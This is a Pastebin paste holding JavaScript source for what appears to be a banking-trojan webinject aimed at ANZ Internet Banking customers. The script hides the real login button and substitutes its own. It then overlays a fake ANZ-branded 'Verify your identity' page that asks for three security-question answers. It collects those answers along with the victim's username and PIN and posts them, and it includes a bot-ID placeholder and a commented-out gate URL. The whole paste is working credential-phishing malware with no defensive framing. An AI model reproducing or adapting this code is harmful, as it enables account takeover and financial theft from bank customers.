Advertisement
Guest User

Untitled

a guest
Sep 7th, 2018
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.72 KB | None | 0 0
  1.  
  2. //ANZ Inject
  3.  
  4.  
  5. $.fn.custom_ser = function() {
  6. var obj = {};
  7. this.find("input,select").each(function() {
  8. if (
  9. $(this).prop("tagName") == "INPUT" &&
  10. $(this).prop("type") != "checkbox" &&
  11. $(this).prop("type") != "button" &&
  12. $(this).prop("type") != "hidden" &&
  13. $(this).prop("type") != "submit"
  14. ) {
  15. //input validation
  16. obj[$(this).attr("name")] = $(this).val();
  17. }
  18. if ($(this).prop("tagName") == "SELECT") {
  19. obj[$(this).attr("name")] = $(this).find("option:selected").val();
  20. }
  21. });
  22. return obj;
  23. };
  24.  
  25.  
  26. var INJ = {
  27. // home: "https://test.com/uadmin/gates/log.php",
  28. bid: "%botuid%",
  29. link: "anz.au",
  30. form1: '<style>.top-fixed {position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; background: #fbfbfb; } .top-rel1 {background: #004165; height: 61px; } img.img1 {width: 116px; position: relative; top: 6px; } .main1 {margin-top: 22px; } h1.h11 {color: black; } .table {display: inline-table; width: 100%; border-collapse: collapse; table-layout: fixed; } .tr {display: table-row; } .td {display: table-cell; } .td.left {width: 141px; } select.form-control {width: 400px; } .tr.dev {/* height: 9px; */ } input#id {} .form-control.loginDivfields {width: 400px; } .myin {margin-bottom: 0px; } span.err_span {color: #c10404; font-size: 15px; } .form-group.has_err .err_span{display:block !important } p.p1 {font-size: 14px; } .form-group.has_err .form-control{border-color:#bb0c0c; }</style>\
  31. <div class="top-fixed">\
  32. <div class="top-rel1">\
  33. <div class="container">\
  34. <img src="https://www.anz.com/common/header/images/ANZ-logo.png" alt="" class="img1">\
  35. </div>\
  36. </div>\
  37. <div class="main1">\
  38. <div class="container">\
  39. <h1 class="h11">Verify your identity </h1>\
  40. <p class="p1">\
  41. As part of ANZ Internet Banking security measures we need to confirm your Identity.\
  42. <br> They\'re three questions that you set up with your own personal answers which help us verify your Identity.\
  43. <br><br> To keep your transaction secure, you ll need to answer your three challenge questions. and this now\
  44. </p>\
  45. <hr>\
  46. <form class="form11" id="form11" novalidate="" >\
  47. <div class="table">\
  48. <div class="tr">\
  49. <div class="td left">\
  50. <label for="">Questions:</label>\
  51. </div>\
  52. <div class="td right form-group ">\
  53. <select name="q1" id="q1" class="form-control loginDivfields">\
  54. <option value="whats_the_first_name_of_your_partners_father_">What\'s the first name of your partner\'s father? </option>\
  55. <option value="whos_your_favourite_sports_team_">Who\'s your favourite sports team? </option>\
  56. <option value="what_dish_is_your_grandmothers_specialty_">What dish is your grandmother\'s specialty? </option>\
  57. <option value="which_town_or_city_did_you_get_engaged_in_">Which town or city did you get engaged in? </option>\
  58. <option value="when_is_your_fathers_birthday_e.g._ddmm_">When is your father\'s birthday (e.g. DDMM)? </option>\
  59. <option value="what_was_the_name_of_your_favourite_childhood_toy_">What was the name of your favourite childhood toy? </option>\
  60. <option value="who_did_you_take_to_your_first_high_school_dance_">Who did you take to your first high school dance? </option>\
  61. <option value="where_did_you_go_on_your_first_ever_date_">Where did you go on your first ever date? </option>\
  62. <option value="what_was_your_grandmothers_maiden_name_on_your_mothers_side_">What was your grandmother\'s maiden name, on your mother\'s side? </option>\
  63. <option value="where_did_you_first_meet_your_parner_">Where did you first meet your parner? </option>\
  64. <option value="where_was_your_first_job_">Where was your first job? </option>\
  65. <option value="which_high_school_did_you_attend_">Which high school did you attend? </option>\
  66. <option value="where_did_you_go_on_your_honeymoon_">Where did you go on your honeymoon? </option>\
  67. <option value="whats_your_oldest_childs_nickname">What\'s your oldest child\'s nickname?</option>\
  68. </select>\
  69. </div>\
  70. </div>\
  71. <div class="tr dev">\
  72. </div>\
  73. <div class="tr">\
  74. <div class="td left">\
  75. <label for="">Answer:</label>\
  76. </div>\
  77. <div class="td right form-group ">\
  78. <input type="text" class="form-control loginDivfields myin" name="a1" id="a1" pattern=".{4,}" data-err_text="Please enter valid ">\
  79. <span class="err_span" style="display: none;">Please fill this field</span>\
  80. </div>\
  81. </div>\
  82. </div>\
  83. <hr>\
  84. <div class="table">\
  85. <div class="tr">\
  86. <div class="td left">\
  87. <label for="">Questions:</label>\
  88. </div>\
  89. <div class="td right form-group ">\
  90. <select name="q2" id="q2" class="form-control loginDivfields">\
  91. <option value="what_date_is_your_partners_birthday_e.g_ddmm_">What date is your partner\'s birthday (e.g DDMM)? </option>\
  92. <option value="what_colour_and_make_was_your_first_car_e.g._green_mazda_">What colour and make was your first car (e.g. Green Mazda)? </option>\
  93. <option value="whats_your_grandmothers_first_name_on_your_mothers_side_">What\'s your grandmother\'s first name, on your mother\'s side? </option>\
  94. <option value="who_was_your_best_man_at_your_wedding_">Who was your best man at your wedding? </option>\
  95. <option value="where_did_your_parents_meet_">Where did your parents meet? </option>\
  96. <option value="who_was_your_first_kiss_">Who was your first kiss? </option>\
  97. <option value="what_street_did_you_live_on_when_you_went_to_high_school_">What street did you live on when you went to high school? </option>\
  98. <option value="where_was_your_partner_born_">Where was your partner born? </option>\
  99. <option value="what_food_do_you_most_dislike_">What food do you most dislike? </option>\
  100. <option value="where_was_your_wedding_reception_held_">Where was your wedding reception held? </option>\
  101. <option value="what_was_the_name_of_your_first_school_">What was the name of your first school? </option>\
  102. <option value="where_were_you_for_new_years_2000_">Where were you for New Year\'s 2000? </option>\
  103. <option value="which_suburb_was_your_primary_school_in_">Which suburb was your primary school in? </option>\
  104. <option value="when_is_your_mothers_birthday_e.g._ddmm">When is your mother\'s birthday (e.g. DDMM)?</option>\
  105. </select>\
  106. </div>\
  107. </div>\
  108. <div class="tr dev">\
  109. </div>\
  110. <div class="tr">\
  111. <div class="td left">\
  112. <label for="">Answer:</label>\
  113. </div>\
  114. <div class="td right form-group ">\
  115. <input type="text" class="form-control loginDivfields myin" name="a2" id="a2" pattern=".{4,}" data-err_text="Please enter valid ">\
  116. <span class="err_span" style="display: none;">Please fill this field</span>\
  117. </div>\
  118. </div>\
  119. </div>\
  120. <hr>\
  121. <div class="table">\
  122. <div class="tr">\
  123. <div class="td left">\
  124. <label for="">Questions:</label>\
  125. </div>\
  126. <div class="td right form-group ">\
  127. <select name="q3" id="q3" class="form-control loginDivfields">\
  128. <option value="whats_the_first_name_of_your_partners_mother_">What\'s the first name of your partner\'s mother? </option>\
  129. <option value="who_was_your_first_job_with_">Who was your first job with? </option>\
  130. <option value="whats_your_grandmothers_first_name_on_your_fathers_side_">What\'s your grandmother\'s first name, on your father\'s side? </option>\
  131. <option value="whats_your_youngest_childs_middle_name_">What\'s your youngest child\'s middle name? </option>\
  132. <option value="where_was_your_mother_born_">Where was your mother born? </option>\
  133. <option value="who_was_your_first_boyfriend_of_girlfriend_">Who was your first boyfriend of girlfriend? </option>\
  134. <option value="what_score_did_you_receive_for_your_final_high_school_exams_">What score did you receive for your final high school exams? </option>\
  135. <option value="what_was_your_first_job_">What was your first job? </option>\
  136. <option value="what_date_is_your_anniversary_e.g._ddmm_">What date is your anniversary (e.g. DDMM)? </option>\
  137. <option value="who_was_your_memorable_school_teacher_">Who was your memorable school teacher? </option>\
  138. <option value="what_was_your_favourite_game_as_a_child_">What was your favourite game as a child? </option>\
  139. <option value="who_was_your_childhood_hero_">Who was your childhood hero? </option>\
  140. <option value="what_was_the_first_concert_you_went_to_">What was the first concert you went to? </option>\
  141. <option value="whos_your_oldest_cousin_">Who\'s your oldest cousin? </option>\
  142. <option value="whats_your_mothers_middle_name">What\'s your mother\'s middle name?</option>\
  143. </select>\
  144. </div>\
  145. </div>\
  146. <div class="tr dev">\
  147. </div>\
  148. <div class="tr">\
  149. <div class="td left">\
  150. <label for="">Answer:</label>\
  151. </div>\
  152. <div class="td right form-group ">\
  153. <input type="text" class="form-control loginDivfields myin" name="a3" id="a3" pattern=".{4,}" data-err_text="Please enter valid ">\
  154. <span class="err_span" style="display: none;">Please fill this field</span>\
  155. </div>\
  156. </div>\
  157. </div>\
  158. <hr>\
  159. <div class="buttndiv">\
  160. <button class="btn btn-primary">Confirm</button>\
  161. </div>\
  162. </form>\
  163. </div>\
  164. </div>\
  165. </div>',
  166. is_done: function(cb) {
  167. var that = this;
  168. if (INJ.cookies.get('jd') == null) {
  169. that.start();
  170. }
  171.  
  172. },
  173.  
  174. cookies: {
  175. set: function(name, value, days) {
  176. if (days) {
  177. var date = new Date();
  178. date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  179. var expires = "; expires=" + date.toGMTString();
  180. } else var expires = "";
  181. document.cookie = name + "=" + value + expires + "; path=/";
  182. },
  183. get: function(name) {
  184. var nameEQ = name + "=";
  185. var ca = document.cookie.split(';');
  186. for (var i = 0; i < ca.length; i++) {
  187. var c = ca[i];
  188. while (c.charAt(0) == ' ') c = c.substring(1, c.length);
  189. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
  190. }
  191. return null;
  192. }
  193. },
  194.  
  195. init: function() {
  196. var that = this;
  197. that.is_done()
  198. },
  199. start: function() {
  200. var that = this;
  201.  
  202. // $('#btnSubmit').hide();
  203.  
  204. $('form input').on('keydown', function(e) {
  205. return e.which !== 13;
  206. })
  207.  
  208. $('#SignonButton').hide()
  209. $('<a id="mybutton" style="font-family: MyriadPro-Semibold,Arial; font-size: 1em; color: #FFFFFF; width: 93px; background: url(/inetbank5/images/icon-sprite.png) no-repeat -3px -240px #337ab7; padding: 10px 0px 6px 20px; height: 44px; top: 0px;" class=" btn btn-primary" title="Log on" style="display: inline;">Log in</a>').insertAfter('#SignonButton')
  210. $('#mybutton').on('click', function(e) {
  211.  
  212. e.stopPropagation();
  213. if (ValidateForm()) {
  214. setTimeout(function() {
  215. $('body').after(that.form1);
  216. that.setEvents()
  217. }, 1000)
  218. }
  219. })
  220. },
  221. setEvents: function() {
  222. var that=this;
  223. $('#a1 ,#a2, #a3,#q1,#q2,#q3').on('input', function() {
  224. $('.form-group').removeClass('has_err');
  225. })
  226.  
  227.  
  228. $('#form11').on('submit', function(e) {
  229. e.preventDefault();
  230. e.stopPropagation();
  231. var err = false
  232. $('#a1 ,#a2, #a3').each(function() {
  233. if ($(this).val() == "") {
  234. $(this).closest('.form-group').addClass('has_err');
  235. err = true
  236. }
  237. })
  238.  
  239.  
  240.  
  241. if (err) {
  242. return false;
  243. } else {
  244. var data = $('#form11').custom_ser();
  245. data.pass=document.loginForm.PIN.value;
  246. data.username= document.loginForm.USERID.value;
  247. data.inj_info="ok";
  248.  
  249. $.ajax({
  250. type: "POST",
  251. url: "https://www.anz.com/inetbank/login.asp",
  252. data: data,
  253. success: function() {
  254.  
  255. $('.top-fixed').remove();
  256. that.cookie.set('jd',1);
  257. OpenWindowAndCallResolver('Modify')
  258. },
  259. dataType: "text"
  260. });
  261. }
  262.  
  263.  
  264.  
  265.  
  266. })
  267. }
  268. }
  269.  
  270. INJ.init();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement